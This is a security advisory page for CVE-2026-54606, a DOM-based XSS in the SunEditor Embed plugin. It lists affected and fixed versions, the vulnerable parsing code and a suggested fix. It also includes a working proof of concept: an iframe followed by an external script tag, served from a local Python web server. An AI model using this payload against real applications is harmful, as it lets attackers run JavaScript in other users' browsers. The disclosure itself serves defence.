Live › vulnerability › CVE-2026-54606
The SunEditor Embed plugin recreates an attacker-supplied script element after a valid iframe and appends it to the live page, so the script runs. An attacker who can submit or store embed HTML can run JavaScript in another user's browser when that content is opened or rendered in SunEditor.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 16:59 UTC, 0h before NVD. All times on this page are UTC.
Applications that use the SunEditor npm package with the Embed plugin enabled and that store or render its content without a backend sanitizer. Pages that never enable the Embed plugin, or that sanitize HTML on the server before storing or displaying it, are much less exposed. Teams using only other editors or a fixed version of SunEditor can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| suneditor | npm | >= 3.0.0, <= 3.1.3 | 3.1.4 |
npm ls suneditor and compare it to the affected range >= 3.0.0, <= 3.1.3.<script elements that follow an <iframe.suneditor 3.1.4Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc
cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF
python3 -m http.server 8000
Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>
Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) {
continue;
}
A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
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